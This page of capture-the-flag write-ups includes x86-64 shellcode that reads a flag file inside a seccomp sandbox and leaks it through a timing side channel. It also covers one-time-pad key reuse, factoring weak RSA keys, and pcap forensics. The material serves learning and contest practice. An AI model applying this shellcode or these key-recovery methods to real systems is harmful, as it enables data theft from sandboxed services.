Showing posts with label analysis. Show all posts
Showing posts with label analysis. Show all posts

Monday, May 1, 2017

DEF CON CTF Quals 2017 - mute




This was a very fun challenge by @Gynophage! The idea was fairly simple, you get a binary which will call your shellcode after a buffer of 0x1000 bytes is filled, and is restricted to certain seccomp rules.

If we look at the binary in Binary Ninja we can see the seccomp rules being setup:


Each value being passed to the addRule function is a syscall number which is allowed.

If we look at the addRule function, we can see it just wraps seccomp_rule_add, passing the syscall value and setting the action as 0x7fff0000 which turns out to be mapped to allow.



Enumerating all the possible syscalls we can use for our shellcode, we get this list:


sys_read
sys_open
sys_close
sys_stat
sys_fstat
sys_lstat
sys_poll
sys_lseek
sys_mmap
sys_mprotect
sys_munmap
sys_brk
sys_execve

Notice, we get execve, but we are also missing a crucial syscall for any common tasks - write.  Now we can understand why this challenge is called 'mute'.

This challenge instantly reminded me of BROP, but less involved.  We'll have to extract data from the remote server somehow.  Similar to BROP & Blind SQLi, we could use a timing side-channel attack to extract the flag.


First let's read in the flag with your standard ORW shellcode (minus the write). We knew the flag would probably exist as './flag' thanks to @matir who discovered this from previous challenges such as beatmeonthedl.

; clear registers
xor rax, rax
xor rsi, rsi
xor rbx, rbx
xor rdi, rdi

; fd = open("./flag", 0, 0)
push rax
add rax, 2
mov rsi, 0x67616c662f2f2f2e
push rsi
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
syscall

; read(fd, $rsp, 0xff)
mov rdi, rax
mov rsi, rsp
mov rdx, 0xff
xor rax, rax
syscall

So far all we're doing is clearing out registers, opening the file './flag' and reading that directly to the stack.

Now we can read a byte off the stack at a time, compare that to some predicted value and hang the process if the value does matches.

Unfortunately we cannot just call 'sleep' because sys_nanosleep and other syscalls 'sleep' depends on are not allowed. However, we may implement our own sleep with some NOP's in a loop. In this case, I use an infinite loop (not recommended), because of laziness.

Also the variables I added here, $POS and $BYTE, are used to index into the flag and compare against a predicted value:

; verify one byte from the stack
add rsp, $POS
xor rax, rax
mov al, $BYTE
pop rbx, rsp
mov bl, bl
cmp al, bl
je L2
jmp done

L2:
nop
jmp L2

done:
nop

Now we just need to write a client to dynamically assemble shellcode based on position in the flag buffer and byte to check, timing out on a valid character.

Here is the full client:



You can also find all the challenge files here - https://github.com/vitapluvia/writeups/tree/master/defconCTF2017/pwn

Ended up using rasm2 as the assembler for this challenge, it was very helpful when trying out various methods. If you'd like to install rasm2, just install radare2 and it'll come as a command-line tool. They also have python bindings, but I didn't get that to that point.

Now when we run the client, we get:

The flag is: I thought what I'd do was, I'd pretend I was one of those deaf mutes d9099cd0d3e6cb47fe3a9b0e631901fa
******************************************************************************************************************_____________

Done!

    The flag is: I thought what I'd do was, I'd pretend I was one of those deaf mutes d9099cd0d3e6cb47fe3a9b0e631901fa



Tuesday, February 7, 2017

AlexCTF 2017 - Crypto


CR1: Ultracoded (50)


Starting out with a very simple one, here's the description:

Fady didn't understand well the difference between encryption and encoding, so instead of encrypting some secret message to pass to his friend, he encoded it!
Hint: Fady's encoding doens't handly any special character

Initially we're given a file (named zero_one) with a bunch of spelled-out bits:

...ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ONE ONE ZERO ONE ZERO ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ZERO ZERO ONE ONE ZERO ZERO ONE ONE ONE ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ONE ONE ZERO ONE ZERO ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ZERO ZERO ONE ONE ONE ZERO ONE ZERO ONE ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ONE ONE ZERO ONE ZERO ZERO ONE ZERO ONE ZERO ZERO ZERO ZERO ZERO ONE ZERO ONE ONE ONE ZERO ONE ZERO ONE ZERO ONE ZERO ZERO ONE ZERO ZERO ONE ZERO ONE ZERO ZERO ZERO ZERO ONE ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ZERO ZERO ONE ONE ONE ZERO ONE ZERO ONE ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ONE ONE ZERO ONE ZERO ZERO ONE ZERO ZERO...

First thing to do in this situation is to use a bit of sed to convert them all to their original form:

$ cat zero_one | sed 's/ //g;s/ZERO/0/g;s/ONE/1/g;'

0100110001101001001100000110011101001100011010010011000001110101010011000110100101000001011101010100100101000011001100000111010101001100011010010011000001100111010011000101001100110100011101000100110001101001010000010111010001001001010000110011010001110101010011000101001100110100011001110100110001010011010000010111010101001100011010010011010001110101010010010100001100110100011101000100110001010011001100000111010001001001010000110011010001110101010011000110100100110100011101010100100101000011001100000111010001001100010100110100000101110101010011000101001100110000011101000100110001010011010000010111010101001100011010010011010001100111010011000101001100110000011101000100100101000011001101000111010101001100011010010011010001110101010010010100001100110100011101010100110001010011010000010111010101001100010100110011000001110101010010010100001100110100011101010100110001101001001100000111010001001001010000110011010001110100010011000110100101000001011101000100110001010011001100000110011101001100011010010011010001110101010011000110100100110100011001110100110001101001010000010111010001001100011010010011000001110101010010010100001100110100011101000100110001101001010000010111010101001100011010010011010001110100010011000101001101000001011101000100100101000011001100000111010001001100010100110100000101110100010010010100001100110000011101010100110001101001001100000110011101001100010100010011110100111101

Next we can find what this turns into with some perl:

$ cat zero_one | sed 's/ //g;s/ZERO/0/g;s/ONE/1/g;' | perl -lpe '$_=pack"B*",$_'

Li0gLi0uLiAuIC0uLi0gLS4tLiAtIC4uLS4gLSAuLi4uIC4tLS0tIC4uLi4uIC0tLSAuLS0tLSAuLi4gLS0tIC4uLi4uIC4uLSAuLS0uIC4uLi0tIC4tLiAtLS0gLi4uLi4gLiAtLi0uIC4tLiAuLi4tLSAtIC0tLSAtIC0uLi0gLQ==

Now we have some Base64 we can decode:

$ cat zero_one | sed 's/ //g;s/ZERO/0/g;s/ONE/1/g;' | perl -lpe '$_=pack"B*",$_' | base64 -D

.- .-.. . -..- -.-. - ..-. - .... .---- ..... --- .---- ... --- ..... ..- .--. ...-- .-. --- ..... . -.-. .-. ...-- - --- - -..- -

Aaaand now we have some Morse code, which ended up being decoded using - http://morsecode.scphillips.com/translator.html
If anyone knows a good command-line tool for this, please leave a comment below! Would love to add that to the one-liner!

Using the online tool, we get this result:

ALEXCTFTH15O1SO5UP3RO5ECR3TOTXT

It wasn't over yet, this wasn't the flag based on their flag format, but it wasn't too difficult to spot the encoding, all O characters were really underscores:

ALEXCTF{TH15_1S_5UP3R_5ECR3T_TXT}





CR2: Many time secrets (100)


Description:

This time Fady learned from his old mistake and decided to use onetime pad as his encryption technique, but he never knew why people call it one time pad!

Not sure who this Fady person is, sounds familiar... Sounds like we need to crack a poorly encrypted message with OTP issues.
Downloading the file they provide, called msg, we see it's a few lines of hex:

0529242a631234122d2b36697f13272c207f2021283a6b0c7908
2f28202a302029142c653f3c7f2a2636273e3f2d653e25217908
322921780c3a235b3c2c3f207f372e21733a3a2b37263b313012
2f6c363b2b312b1e64651b6537222e37377f2020242b6b2c2d5d
283f652c2b31661426292b653a292c372a2f20212a316b283c09
29232178373c270f682c216532263b2d3632353c2c3c2a293504
613c37373531285b3c2a72273a67212a277f373a243c20203d5d
243a202a633d205b3c2d3765342236653a2c7423202f3f652a18
2239373d6f740a1e3c651f207f2c212a247f3d2e65262430791c
263e203d63232f0f20653f207f332065262c3168313722367918
2f2f372133202f142665212637222220733e383f2426386b

Looking up common techniques for cracking OTP we can find the Many Time Pad Attack / the Crib Dragging technique - http://crypto.stackexchange.com/questions/59/taking-advantage-of-one-time-pad-key-reuse

There's a very nice python library for crib dragging here - https://github.com/SpiderLabs/cribdrag

This allows us to easily read in msg file and start the process of discovery. First we need the messages on one line:

$ cat msg | tr -d '\n'; echo

0529242a631234122d2b36697f13272c207f2021283a6b0c79082f28202a302029142c653f3c7f2a2636273e3f2d653e25217908322921780c3a235b3c2c3f207f372e21733a3a2b37263b3130122f6c363b2b312b1e64651b6537222e37377f2020242b6b2c2d5d283f652c2b31661426292b653a292c372a2f20212a316b283c0929232178373c270f682c216532263b2d3632353c2c3c2a293504613c37373531285b3c2a72273a67212a277f373a243c20203d5d243a202a633d205b3c2d3765342236653a2c7423202f3f652a182239373d6f740a1e3c651f207f2c212a247f3d2e65262430791c263e203d63232f0f20653f207f332065262c31683137223679182f2f372133202f142665212637222220733e383f2426386b

Then we pass this in as the first argument to the cribdrag.py tool, initially we have a blank canvas:

./cribdrag/cribdrag.py 0529242a631234122d2b36697f13272c207f2021283a6b0c79082f28202a302029142c653f3c7f2a2636273e3f2d653e25217908322921780c3a235b3c2c3f207f372e21733a3a2b37263b3130122f6c363b2b312b1e64651b6537222e37377f2020242b6b2c2d5d283f652c2b31661426292b653a292c372a2f20212a316b283c0929232178373c270f682c216532263b2d3632353c2c3c2a293504613c37373531285b3c2a72273a67212a277f373a243c20203d5d243a202a633d205b3c2d3765342236653a2c7423202f3f652a182239373d6f740a1e3c651f207f2c212a247f3d2e65262430791c263e203d63232f0f20653f207f332065262c31683137223679182f2f372133202f142665212637222220733e383f2426386b

Your message is currently:
0       ________________________________________
40      ________________________________________
80      ________________________________________
120     ________________________________________
160     ________________________________________
200     ________________________________________
240     ________________________________________
280     ____
Your key is currently:
0       ________________________________________
40      ________________________________________
80      ________________________________________
120     ________________________________________
160     ________________________________________
200     ________________________________________
240     ________________________________________
280     ____
Please enter your crib:

Now we know that the flag will be in the format ALEXCTF{...}, so we can start with that:

Please enter your crib: ALEXCTF{
*** 0: "Dear Fri"
1: "hho;Q`TV"
2: "ef&JwFkP"
3: "k/WlQymM"
4: ""^qJnp"
5: "SxWuhb/"
6: "u^hsu=9h"
7: "Sann*+U\"
...

Many examples were dropped (276), and a few of them were intelligible. The first one looked like a good candidate, starting with 0, we identify it as a 'message'.

Enter the correct position, 'none' for no match, or 'end' to quit: 0
Is this crib part of the message or key? Please enter 'message' or 'key': message
Your message is currently:
0       ALEXCTF{________________________________
40      ________________________________________
80      ________________________________________
120     ________________________________________
160     ________________________________________
200     ________________________________________
240     ________________________________________
280     ____
Your key is currently:
0       Dear Fri________________________________
40      ________________________________________
80      ________________________________________
120     ________________________________________
160     ________________________________________
200     ________________________________________
240     ________________________________________
280     ____
Please enter your crib:

"Dear Friend," makes the most sense in the clue we have, so going with that we can find more information:

Please enter your crib: Dear Friend,
0: "ALEXCTF{HERE"

This time 0 is the key, next we can guess underscore is after 'HERE' in the flag from the normal flag format. Continuing this process onwards will fill in the full flag:

Please enter your crib: ALEXCTF{HERE_
*** 260: "ncryption sch"
Enter the correct position, 'none' for no match, or 'end' to quit: 260
Is this crib part of the message or key? Please enter 'message' or 'key': message
Please enter your crib: encryption scheme
259: "}ALEXCTF{HERE_GOE"
Enter the correct position, 'none' for no match, or 'end' to quit: 259
Is this crib part of the message or key? Please enter 'message' or 'key': key
Please enter your crib: }ALEXCTF{HERE_GOES_
*** 207: "ecure, Let Me know "
Enter the correct position, 'none' for no match, or 'end' to quit: 207
Is this crib part of the message or key? Please enter 'message' or 'key': message
Please enter your crib: }ALEXCTF{HERE_GOES_
*** 233: "agree with me to us"
Enter the correct position, 'none' for no match, or 'end' to quit: 233
Is this crib part of the message or key? Please enter 'message' or 'key': message
Please enter your crib: agree with me to use this encryption scheme
233: "}ALEXCTF{HERE_GOES_THE_KEY}ALEXCTF{HERE_GOE"


Enter the correct position, 'none' for no match, or 'end' to quit: 233
Is this crib part of the message or key? Please enter 'message' or 'key': key
Your message is currently:
0       ALEXCTF{HERE____________________________
40      ________________________________________
80      ________________________________________
120     ________________________________________
160     ________________________________________
200     _______}ALEXCTF{HERE_GOES________}ALEXCT
240     F{HERE_GOES_THE_KEY}ALEXCTF{HERE_GOE____
280     ____
Your key is currently:
0       Dear Friend,____________________________
40      ________________________________________
80      ________________________________________
120     ________________________________________
160     ________________________________________
200     _______ecure, Let Me know _______agree w
240     ith me to use this encryption scheme____
280     ____
Please enter your crib:

...

Enter the correct position, 'none' for no match, or 'end' to quit: none
No changes made.
Your message is currently:
0       ALEXCTF{HERE_GOES_THE_KEY}ALEXCTF{HERE_G
40      OES_THE_KEY}ALEXCTF{HERE_GOES_THE_KEY}AL
80      EXCTF{HERE_GOES_THE_KEY}ALEXCTF{HERE_GOE
120     S_THE_KEY}ALEXCTF{HERE_GOES_THE_KEY}ALEX
160     CTF{HERE_GOES_THE_KEY}ALEXCTF{HERE_GOES_
200     THE_KEY}ALEXCTF{HERE_GOES_THE_KEY}ALEXCT
240     F{HERE_GOES_THE_KEY}ALEXCTF{HERE_GOES_TH
280     E_KEY
Your key is currently:
0       Dear Friend, This time I understood my m
40      istake and used One time pad encryption
80      scheme, I heard that it is the only encr
120     yption method that is mathematically pro
160     ven to be not cracked ever if the key is
200      kept secure, Let Me know if you agree w
240     ith me to use this encryption scheme alw
280     ays 

Flag:

ALEXCTF{HERE_GOES_THE_KEY}




CR4: Poor RSA (200)


Description:

This time Fady decided to go for modern cryptography implementations, He is fascinated with choosing his own prime numbers, so he picked up RSA once more. Yet he was unlucky again!

poor_rsa.tar.gz

This was a challenge where a little crypto education would've helped. Started this one off by looking up previous write-ups for RSA based challenges on a CTF. This one turned out to be great! - https://0x90r00t.com/2015/09/20/ekoparty-pre-ctf-2015-cry100-rsa-2070-write-up/

Extracting the tar.gz gave us two files, a encrypted flag and a public key:

-rw-r--r--@  1 user  staff    69B Dec 11 01:08 flag.b64
-rw-r--r--@  1 user  staff   162B Dec 11 00:59 key.pub

Walking through that writeup made this process very simple, starting off by identifying how many bits are used on the public key:

Modulus (399 bit):
    52:a9:9e:24:9e:e7:cf:3c:0c:bf:96:3a:00:96:61:
    77:2b:c9:cd:f6:e1:e3:fb:fc:6e:44:a0:7a:5e:0f:
    89:44:57:a9:f8:1c:3a:e1:32:ac:56:83:d3:5b:28:
    ba:5c:32:42:43
Exponent: 65537 (0x10001)

Looks like we also got an odd amount of bits (no pun intended).
Now we need to format the hex values to get the integer product:

openssl rsa -noout -text -inform PEM -in key.pub -pubin | grep -Evi 'mod|exp' | tr -d ':\n '

Then to get the int value, pass it into python:

$ openssl rsa -noout -text -inform PEM -in key.pub -pubin | grep -Evi 'mod|exp' | tr -d ':\n ' | xargs python -c 'import sys; print int(sys.argv[1], 16)'

833810193564967701912362955539789451139872863794534923259743419423089229206473091408403560311191545764221310666338878019

Now we can query factordb for this value: http://www.factordb.com/index.php?query=833810193564967701912362955539789451139872863794534923259743419423089229206473091408403560311191545764221310666338878019

We end up seeing there is a match!


This turns out to be:
863653476616376575308866344984576466644942572246900013156919 * 965445304326998194798282228842484732438457170595999523426901

Now that we have p & q, we can generate the private key using RSATool - https://github.com/ius/rsatool

$ python ./rsatool/rsatool.py -p 863653476616376575308866344984576466644942572246900013156919 -q 965445304326998194798282228842484732438457170595999523426901 -o ./priv.key

Finally we just need to decrypt the flag using openssl:

$ openssl rsautl -decrypt -in flag.raw -inkey priv.key

This drops the Flag:

ALEXCTF{SMALL_PRIMES_ARE_BAD}

Monday, September 7, 2015

MMA CTF 2015 - Stream... (100)


We didn't end up solving this during the competition, but I thought it would be nice to show the challenge and share the process we went through in finding the flag.

It starts with a pcap file which contains many similar packets (parts of the stream).  After sorting by length and following the TCP stream of one, we find some interesting header content.






































Notably we find the "User-Agent" as NSPlayer, "Content-Type" as "application/x-mms-framed", and in the bytes it shows that it's a "Windows Media Video" (WMV) format.

Now the tricky part is figuring out how we can play this content.  We can save the binary data to a file in Wireshark pressing 'Save As' and editing the header out (Also useful to filter out the conversation by the part we care about in the dropdown menu which defaults to Entire Conversation).

After some research it looked like we could just push the data over a server, and use VLC to interpret it as an MMS stream.  Here's a simple guide for OSX users on how to open MMS streams in VLC - http://elearning.etsu.edu/macmmsguide/index.html

The question is, what does our server need to look like?
Apparently not much.

This was done with very little effort and seemed to work fine (simple Node.js server):
m=require; m('http').createServer(function(_, r) {r.end(m('fs').readFileSync("extracted"))}).listen(4444);
Where "extracted" is the binary file we formed from the stream.

Now All we had to do is view the result in VLC: after launching VLC, you can go to File > Open Network, and give it a url.  In this case we're hosting it locally, so we just point it to mms://localhost:4444 (important to use the mms protocol in this situation)

When playing it we get an initial frame of Rainbow Colors!






























Then more of what we're looking for, in a classic MS PAint window ;)





























The Final Flag Being:
MMA{windows_xp_is_too_old_to_create_problem!!}

MMA CTF 2015 - Splitted (30)

This challenge started with a 7z that extracted a pcap.
Launching wireshark, I sort by the length column to check the largest packets captured.

Looks like there's a zip that was transfered, this is probably what we need to extract, also looks like it's in multiple chunks ('splitted').



After naively doing a "Follow TCP Stream" and exporting the data, I realized the segments were in the wrong order.  Notably the "PK" bytes were in the middle, which are part of the magic bytes for a zip file.  Now we need to figure out how to arrange it correctly.  The intuition of where to find this data came from a friend on the team - http://lockboxx.blogspot.com/
On a past challenge he had mentioned there are parts of the packet describing the order in which streams constructed.  Looking a little further I found the "Content-Range" attribute needed to reconstruct the original file.

By the way, if anyone knows of a nice way in python to pull the "Content-Range" section out of the HTTP headers, please leave a comment below, I would love to know!



In this example, we're looking at the 2nd packet in the chain of total split packets.  It shows the Content-Range is 269-937.  Now we just need to export each data portion of the packet to a file.  We'll start by copying the hex representations to a python file and export the zip this way.

By right-clicking on the field underneath "Media Type" we can go to Copy > Bytes > Hex Stream, which will be the representation of bytes in the payload section of this packet only ( A lot nicer than trimming down the header section of each packet ).



Following the "Content-Range" attribute for each packet, we assemble a python file that will export the zip file contained within the capture:


Now we can extract it with unzip, and check what's inside!
Looks like we have a file called flag.psd.
Let's open that up in gimp and see what we've got.



Looks like we've got a blank canvas!  But there's another layer in the psd.  Turning off the first layer, or swapping the layers seems to do the trick.